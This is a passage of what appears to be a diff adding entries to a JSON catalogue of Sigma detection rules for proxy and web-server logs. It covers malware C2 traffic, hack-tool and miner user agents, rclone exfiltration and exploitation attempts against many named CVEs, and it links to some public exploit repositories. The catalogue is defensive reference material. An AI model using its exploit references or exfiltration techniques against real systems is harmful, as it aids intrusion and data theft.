"b494b165-6634-483d-8c47-2026a6c52372", + "value": "Telegram API Access", + "meta": { + "refs": [ + "https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/", + "https://blog.malwarebytes.com/threat-analysis/2016/11/telecrypt-the-ransomware-abusing-telegram-api-defeated/", + "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_telegram_api.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1071.001", + "attack.t1102.002" + ], + "creation_date": "2018/06/05", + "filename": "proxy_telegram_api.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Legitimate use of Telegram bots in the company" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects Turla ComRAT patterns", + "uuid": "7857f021-007f-4928-8b2c-7aedbe64bb82", + "value": "Turla ComRAT", + "meta": { + "refs": [ + "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_turla_comrat.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1071.001", + "attack.g0010" + ], + "creation_date": "2020/05/26", + "filename": "proxy_turla_comrat.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious user agent strings used in APT malware in proxy logs", + "uuid": "6ec820f2-e963-4801-9127-d8b2dce4d31b", + "value": "APT User Agent", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_apt.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2019/11/12", + "filename": "proxy_ua_apt.yml", + "author": "Florian Roth, Markus Neis", + "level": "high", + "falsepositive": [ + "Old browsers" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects Bitsadmin connections to IP addresses instead of FQDN names", + "uuid": "8ccd35a2-1c7c-468b-b568-ac6cdf80eec3", + "value": "Bitsadmin to Uncommon IP Server Address", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_bitsadmin_susp_ip.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001", + "attack.defense_evasion", + "attack.persistence", + "attack.t1197", + "attack.s0190" + ], + "creation_date": "2022/06/10", + "filename": "proxy_ua_bitsadmin_susp_ip.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects Bitsadmin connections to domains with uncommon TLDs - https://twitter.com/jhencinski/status/1102695118455349248 - https://isc.sans.edu/forums/diary/Investigating+Microsoft+BITS+Activity/23281/", + "uuid": "9eb68894-7476-4cd6-8752-23b51f5883a7", + "value": "Bitsadmin to Uncommon TLD", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_bitsadmin_susp_tld.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001", + "attack.defense_evasion", + "attack.persistence", + "attack.t1197", + "attack.s0190" + ], + "creation_date": "2019/03/07", + "filename": "proxy_ua_bitsadmin_susp_tld.yml", + "author": "Florian Roth, Tim Shelton", + "level": "high", + "falsepositive": [ + "Rare programs that use Bitsadmin and update from regional TLDs e.g. .uk or .ca" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious user agent strings used by crypto miners in proxy logs", + "uuid": "fa935401-513b-467b-81f4-f9e77aa0dd78", + "value": "Crypto Miner User Agent", + "meta": { + "refs": [ + "https://github.com/xmrig/xmrig/blob/da22b3e6c45825f3ac1f208255126cb8585cd4fc/src/base/kernel/Platform_win.cpp#L65", + "https://github.com/xmrig/xmrig/blob/427b6516e0550200c17ca28675118f0fffcc323f/src/version.h", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_cryptominer.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2019/10/21", + "filename": "proxy_ua_cryptominer.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious user agent strings used by exploit / pentest frameworks like Metasploit in proxy logs", + "uuid": "fdd1bfb5-f60b-4a35-910e-f36ed3d0b32f", + "value": "Exploit Framework User Agent", + "meta": { + "refs": [ + "https://blog.didierstevens.com/2015/03/16/quickpost-metasploit-user-agent-strings/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_frameworks.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2017/07/08", + "filename": "proxy_ua_frameworks.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious user agent strings user by hack tools in proxy logs", + "uuid": "c42a3073-30fb-48ae-8c99-c23ada84b103", + "value": "Hack Tool User Agent", + "meta": { + "refs": [ + "https://github.com/fastly/waf_testbed/blob/8bfc406551f3045e418cbaad7596cff8da331dfc/templates/default/scanners-user-agents.data.erb", + "http://rules.emergingthreats.net/open/snort-2.9.0/rules/emerging-user_agents.rules", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_hacktool.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "attack.credential_access", + "attack.t1110" + ], + "creation_date": "2017/07/08", + "filename": "proxy_ua_hacktool.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious user agent strings used by malware in proxy logs", + "uuid": "5c84856b-55a5-45f1-826f-13f37250cf4e", + "value": "Malware User Agent", + "meta": { + "refs": [ + "http://rules.emergingthreats.net/open/snort-2.9.0/rules/emerging-user_agents.rules", + "http://www.botopedia.org/search?searchword=scan&searchphrase=all", + "https://networkraptor.blogspot.com/2015/01/user-agent-strings.html", + "https://perishablepress.com/blacklist/ua-2013.txt", + "https://www.bluecoat.com/en-gb/security-blog/2015-05-05/know-your-agents", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_malware.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2017/07/08", + "filename": "proxy_ua_malware.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects the use of rclone, a command-line program to manage files on cloud storage, via its default user-agent string", + "uuid": "2c03648b-e081-41a5-b9fb-7d854a915091", + "value": "Rclone Activity via Proxy", + "meta": { + "refs": [ + "https://rclone.org/", + "https://www.kroll.com/en/insights/publications/cyber/new-m365-business-email-compromise-attacks-with-rclone", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_rclone.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1567.002" + ], + "creation_date": "2022/10/18", + "filename": "proxy_ua_rclone.yml", + "author": "Janantha Marasinghe", + "level": "medium", + "falsepositive": [ + "Valid requests with this exact user agent to that is used by legitimate scripts or sysadmin operations" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious malformed user agent strings in proxy logs", + "uuid": "7195a772-4b3f-43a4-a210-6a003d65caa1", + "value": "Suspicious User Agent", + "meta": { + "refs": [ + "https://github.com/fastly/waf_testbed/blob/8bfc406551f3045e418cbaad7596cff8da331dfc/templates/default/scanners-user-agents.data.erb", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_susp.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2017/07/08", + "filename": "proxy_ua_susp.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious User Agent strings that end with an equal sign, which can be a sign of base64 encoded values used as User Agent string", + "uuid": "894a8613-cf12-48b3-8e57-9085f54aa0c3", + "value": "Suspicious User Agent", + "meta": { + "refs": [ + "https://blogs.jpcert.or.jp/en/2022/07/yamabot.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_susp_base64.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2022/07/08", + "filename": "proxy_ua_susp_base64.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects Ursnif C2 traffic.", + "uuid": "932ac737-33ca-4afd-9869-0d48b391fcc9", + "value": "Ursnif Malware C2 URL Pattern", + "meta": { + "refs": [ + "https://www.fortinet.com/blog/threat-research/ursnif-variant-spreading-word-document.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ursnif_malware_c2_url.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1566.001", + "attack.execution", + "attack.t1204.002", + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2019/12/19", + "filename": "proxy_ursnif_malware_c2_url.yml", + "author": "Thomas Patzke", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects download of Ursnif malware done by dropper documents.", + "uuid": "a36ce77e-30db-4ea0-8795-644d7af5dfb4", + "value": "Ursnif Malware Download URL Pattern", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ursnif_malware_download_url.yml" + ], + "tags": "No established tags", + "creation_date": "2019/12/19", + "filename": "proxy_ursnif_malware_download_url.yml", + "author": "Thomas Patzke", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "proxy", + "logsource.product": "No established product" + } + }, + { + "description": "Detects a segmentation fault error message caused by a creashing apache worker process", + "uuid": "1da8ce0b-855d-4004-8860-7d64d42063b1", + "value": "Apache Segmentation Fault", + "meta": { + "refs": [ + "http://www.securityfocus.com/infocus/1633", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_apache_segfault.yml" + ], + "tags": [ + "attack.impact", + "attack.t1499.004" + ], + "creation_date": "2017/02/28", + "filename": "web_apache_segfault.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "No established product" + } + }, + { + "description": "Detects an issue in apache logs that reports threading related errors", + "uuid": "e9a2b582-3f6a-48ac-b4a1-6849cdc50b3c", + "value": "Apache Threading Error", + "meta": { + "refs": [ + "https://github.com/hannob/apache-uaf/blob/da40f2be3684c8095ec6066fa68eb5c07a086233/README.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_apache_threading_error.yml" + ], + "tags": "No established tags", + "creation_date": "2019/01/22", + "filename": "web_apache_threading_error.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "3rd party apache modules - https://bz.apache.org/bugzilla/show_bug.cgi?id=46185" + ], + "logsource.category": "No established category", + "logsource.product": "No established product" + } + }, + { + "description": "MODx manager - Local File Inclusion:Directory traversal vulnerability in manager/controllers/default/resource/tvs.php in MODx Revolution 2.0.2-pl, and possibly earlier,\nwhen magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the class_key parameter.\n", + "uuid": "a4a899e8-fd7a-49dd-b5a8-7044def72d61", + "value": "CVE-2010-5278 Exploitation Attempt", + "meta": { + "refs": [ + "https://github.com/projectdiscovery/nuclei-templates", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2010_5278_exploitation_attempt.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2021/08/25", + "filename": "web_cve_2010_5278_exploitation_attempt.yml", + "author": "Subhash Popuri (@pbssubhash)", + "level": "critical", + "falsepositive": [ + "Scanning from Nuclei", + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects attempts to exploit a Rejetto HTTP File Server (HFS) via CVE-2014-6287", + "uuid": "a133193c-2daa-4a29-8022-018695fcf0ae", + "value": "Rejetto HTTP File Server RCE", + "meta": { + "refs": [ + "https://vk9-sec.com/hfs-code-execution-cve-2014-6287/", + "https://www.exploit-db.com/exploits/39161", + "https://github.com/Twigonometry/Cybersecurity-Notes/blob/c875b0f52df7d2c7a870e75e1f0c2679d417931d/Writeups/Hack%20the%20Box/Boxes/Optimum/10%20-%20Website.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2014_6287_hfs_rce.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "attack.t1505.003", + "cve.2014.6287" + ], + "creation_date": "2022/07/19", + "filename": "web_cve_2014_6287_hfs_rce.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects CVE-2018-13379 exploitation attempt against Fortinet SSL VPNs", + "uuid": "a2e97350-4285-43f2-a63f-d0daff291738", + "value": "Fortinet CVE-2018-13379 Exploitation", + "meta": { + "refs": [ + "https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2018_13379_fortinet_preauth_read_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2020/12/08", + "filename": "web_cve_2018_13379_fortinet_preauth_read_exploit.yml", + "author": "Bhabesh Raj", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects access to a webshell dropped into a keystore folder on the WebLogic server", + "uuid": "37e8369b-43bb-4bf8-83b6-6dd43bda2000", + "value": "Oracle WebLogic Exploit", + "meta": { + "refs": [ + "https://twitter.com/pyn3rd/status/1020620932967223296", + "https://github.com/LandGrey/CVE-2018-2894", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2018_2894_weblogic_exploit.yml" + ], + "tags": [ + "attack.t1190", + "attack.initial_access", + "attack.persistence", + "attack.t1505.003", + "cve.2018.2894" + ], + "creation_date": "2018/07/22", + "filename": "web_cve_2018_2894_weblogic_exploit.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects CVE-2019-11510 exploitation attempt - URI contains Guacamole", + "uuid": "2dbc10d7-a797-49a8-8776-49efa6442e60", + "value": "Pulse Secure Attack CVE-2019-11510", + "meta": { + "refs": [ + "https://www.exploit-db.com/exploits/47297", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2019_11510_pulsesecure_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2019/11/18", + "filename": "web_cve_2019_11510_pulsesecure_exploit.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects CVE-2019-19781 exploitation attempt against Citrix Netscaler, Application Delivery Controller and Citrix Gateway Attack", + "uuid": "ac5a6409-8c89-44c2-8d64-668c29a2d756", + "value": "Citrix Netscaler Attack CVE-2019-19781", + "meta": { + "refs": [ + "https://support.citrix.com/article/CTX267679", + "https://support.citrix.com/article/CTX267027", + "https://isc.sans.edu/diary/25686", + "https://twitter.com/mpgn_x64/status/1216787131210829826", + "https://github.com/x1sec/CVE-2019-19781/blob/25f7ab97275b2d41800bb3414dac8ca3a78af7e5/CVE-2019-19781-DFIR.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2019_19781_citrix_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2020/01/02", + "filename": "web_cve_2019_19781_citrix_exploit.yml", + "author": "Arnim Rupp, Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects the exploitation of the Confluence vulnerability described in CVE-2019-3398", + "uuid": "e9bc39ae-978a-4e49-91ab-5bd481fc668b", + "value": "Confluence Exploitation CVE-2019-3398", + "meta": { + "refs": [ + "https://devcentral.f5.com/s/articles/confluence-arbitrary-file-write-via-path-traversal-cve-2019-3398-34181", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2019_3398_confluence.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2020/05/26", + "filename": "web_cve_2019_3398_confluence.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects CVE-2020-0688 Exploitation attempts", + "uuid": "7c64e577-d72e-4c3d-9d75-8de6d1f9146a", + "value": "CVE-2020-0688 Exploitation Attempt", + "meta": { + "refs": [ + "https://github.com/Ridter/cve-2020-0688", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_0688_exchange_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2020/02/27", + "filename": "web_cve_2020_0688_exchange_exploit.yml", + "author": "NVISO", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688", + "uuid": "fce2c2e2-0fb5-41ab-a14c-5391e1fd70a5", + "value": "CVE-2020-0688 Exchange Exploitation via Web Log", + "meta": { + "refs": [ + "https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_0688_msexchange.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2020/02/29", + "filename": "web_cve_2020_0688_msexchange.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects CVE-2020-10148 SolarWinds Orion API authentication bypass attempts", + "uuid": "5a35116f-43bc-4901-b62d-ef131f42a9af", + "value": "CVE-2020-10148 SolarWinds Orion API Auth Bypass", + "meta": { + "refs": [ + "https://kb.cert.org/vuls/id/843464", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_10148_solarwinds_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2020/12/27", + "filename": "web_cve_2020_10148_solarwinds_exploit.yml", + "author": "Bhabesh Raj, Tim Shelton", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects exploitation attempts on WebLogic servers", + "uuid": "85d466b0-d74c-4514-84d3-2bdd3327588b", + "value": "Oracle WebLogic Exploit CVE-2020-14882", + "meta": { + "refs": [ + "https://isc.sans.edu/diary/26734", + "https://twitter.com/jas502n/status/1321416053050667009?s=20", + "https://twitter.com/sudo_sudoka/status/1323951871078223874", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_14882_weblogic_exploit.yml" + ], + "tags": [ + "attack.t1190", + "attack.initial_access", + "cve.2020.14882" + ], + "creation_date": "2020/11/02", + "filename": "web_cve_2020_14882_weblogic_exploit.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects the exploitation of the TerraMaster TOS vulnerability described in CVE-2020-28188", + "uuid": "15c312b9-00d0-4feb-8870-7d940a4bdc5e", + "value": "TerraMaster TOS CVE-2020-28188", + "meta": { + "refs": [ + "https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/", + "https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_28188_terramaster_rce_exploit.yml" + ], + "tags": [ + "attack.t1190", + "attack.initial_access", + "cve.2020.28188" + ], + "creation_date": "2021/01/25", + "filename": "web_cve_2020_28188_terramaster_rce_exploit.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects exploitation attempts on Cisco ASA FTD systems exploiting CVE-2020-3452 with a status code of 200 (sccessful exploitation)", + "uuid": "aba47adc-4847-4970-95c1-61dce62a8b29", + "value": "Cisco ASA FTD Exploit CVE-2020-3452", + "meta": { + "refs": [ + "https://twitter.com/aboul3la/status/1286012324722155525", + "https://github.com/darklotuskdb/CISCO-CVE-2020-3452-Scanner-Exploiter", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_3452_cisco_asa_ftd.yml" + ], + "tags": [ + "attack.t1190", + "attack.initial_access", + "cve.2020.3452" + ], + "creation_date": "2021/01/07", + "filename": "web_cve_2020_3452_cisco_asa_ftd.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects the exploitation attempt of the vulnerability found in F5 BIG-IP and described in CVE-2020-5902", + "uuid": "44b53b1c-e60f-4a7b-948e-3435a7918478", + "value": "CVE-2020-5902 F5 BIG-IP Exploitation Attempt", + "meta": { + "refs": [ + "https://support.f5.com/csp/article/K52145254", + "https://www.ptsecurity.com/ww-en/about/news/f5-fixes-critical-vulnerability-discovered-by-positive-technologies-in-big-ip-application-delivery-controller/", + "https://twitter.com/yorickkoster/status/1279709009151434754", + "https://www.criticalstart.com/f5-big-ip-remote-code-execution-exploit/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_5902_f5_bigip.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2020/07/05", + "filename": "web_cve_2020_5902_f5_bigip.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects exploitation attempt against Citrix Netscaler, Application Delivery Controller (ADS) and Citrix Gateway exploiting vulnerabilities reported as CVE-2020-8193 and CVE-2020-8195", + "uuid": "0d0d9a8a-a49e-4e27-b061-7ce4b936cfb7", + "value": "Citrix ADS Exploitation CVE-2020-8193 CVE-2020-8195", + "meta": { + "refs": [ + "https://support.citrix.com/article/CTX276688", + "https://research.nccgroup.com/2020/07/10/rift-citrix-adc-vulnerabilities-cve-2020-8193-cve-2020-8195-and-cve-2020-8196-intelligence/", + "https://dmaasland.github.io/posts/citrix.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_8193_8195_citrix_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2020/07/10", + "filename": "web_cve_2020_8193_8195_citrix_exploit.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects exploitation of vulnerabilities in Arcadyan routers as reported in CVE-2021-20090 and CVE-2021-20091.", + "uuid": "f0500377-bc70-425d-ac8c-e956cd906871", + "value": "Arcadyan Router Exploitations", + "meta": { + "refs": [ + "https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2", + "https://www.tenable.com/security/research/tra-2021-13", + "https://blogs.juniper.net/en-us/security/freshly-disclosed-vulnerability-cve-2021-20090-exploited-in-the-wild", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_20090_2021_20091_arcadyan_router_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "cve.2021.20090", + "cve.2021.20091" + ], + "creation_date": "2021/08/24", + "filename": "web_cve_2021_20090_2021_20091_arcadyan_router_exploit.yml", + "author": "Bhabesh Raj", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects the exploitation of the WebLogic server vulnerability described in CVE-2021-2109", + "uuid": "687f6504-7f44-4549-91fc-f07bab065821", + "value": "Oracle WebLogic Exploit CVE-2021-2109", + "meta": { + "refs": [ + "https://twitter.com/pyn3rd/status/1351696768065409026", + "https://mp.weixin.qq.com/s/wX9TMXl1KVWwB_k6EZOklw", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_2109_weblogic_rce_exploit.yml" + ], + "tags": [ + "attack.t1190", + "attack.initial_access", + "cve.2021.2109" + ], + "creation_date": "2021/01/20", + "filename": "web_cve_2021_2109_weblogic_rce_exploit.yml", + "author": "Bhabesh Raj", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects the exploitation of VSphere Remote Code Execution vulnerability as described in CVE-2021-21972", + "uuid": "179ed852-0f9b-4009-93a7-68475910fd86", + "value": "CVE-2021-21972 VSphere Exploitation", + "meta": { + "refs": [ + "https://www.vmware.com/security/advisories/VMSA-2021-0002.html", + "https://f5.pm/go-59627.html", + "https://swarm.ptsecurity.com/unauth-rce-vmware", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_21972_vsphere_unauth_rce_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2021/02/24", + "filename": "web_cve_2021_21972_vsphere_unauth_rce_exploit.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "OVA uploads to your VSphere appliance" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects the exploitation of the VMware View Planner vulnerability described in CVE-2021-21978", + "uuid": "77586a7f-7ea4-4c41-b19c-820140b84ca9", + "value": "CVE-2021-21978 Exploitation Attempt", + "meta": { + "refs": [ + "https://twitter.com/wugeej/status/1369476795255320580", + "https://paper.seebug.org/1495/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_21978_vmware_view_planner_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "cve.2021.21978" + ], + "creation_date": "2020/03/10", + "filename": "web_cve_2021_21978_vmware_view_planner_exploit.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects exploitation attempts using file upload vulnerability CVE-2021-22005 in the VMWare vCenter Server.", + "uuid": "b014ea07-8ea0-4859-b517-50a4e5b7ecec", + "value": "VMware vCenter Server File Upload CVE-2021-22005", + "meta": { + "refs": [ + "https://kb.vmware.com/s/article/85717", + "https://www.tenable.com/blog/cve-2021-22005-critical-file-upload-vulnerability-in-vmware-vcenter-server", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_22005_vmware_file_upload.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2021/09/24", + "filename": "web_cve_2021_22005_vmware_file_upload.yml", + "author": "Sittikorn S", + "level": "high", + "falsepositive": [ + "Vulnerability Scanning" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects CVE-2021-22123 exploitation attempt against Fortinet WAFs", + "uuid": "f425637f-891c-4191-a6c4-3bb1b70513b4", + "value": "Fortinet CVE-2021-22123 Exploitation", + "meta": { + "refs": [ + "https://www.rapid7.com/blog/post/2021/08/17/fortinet-fortiweb-os-command-injection", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_22123_fortinet_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2021/08/19", + "filename": "web_cve_2021_22123_fortinet_exploit.yml", + "author": "Bhabesh Raj, Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "This rule detects exploitation attempts using Pulse Connect Secure(PCS) vulnerability (CVE-2021-22893)", + "uuid": "5525edac-f599-4bfd-b926-3fa69860e766", + "value": "Pulse Connect Secure RCE Attack CVE-2021-22893", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html", + "https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_22893_pulse_secure_rce_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2021/06/29", + "filename": "web_cve_2021_22893_pulse_secure_rce_exploit.yml", + "author": "Sittikorn S", + "level": "high", + "falsepositive": [ + "Vulnerability Scanning" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects the exploitation of the Wazuh RCE vulnerability described in CVE-2021-26814", + "uuid": "b9888738-29ed-4c54-96a4-f38c57b84bb3", + "value": "Exploitation of CVE-2021-26814 in Wazuh", + "meta": { + "refs": [ + 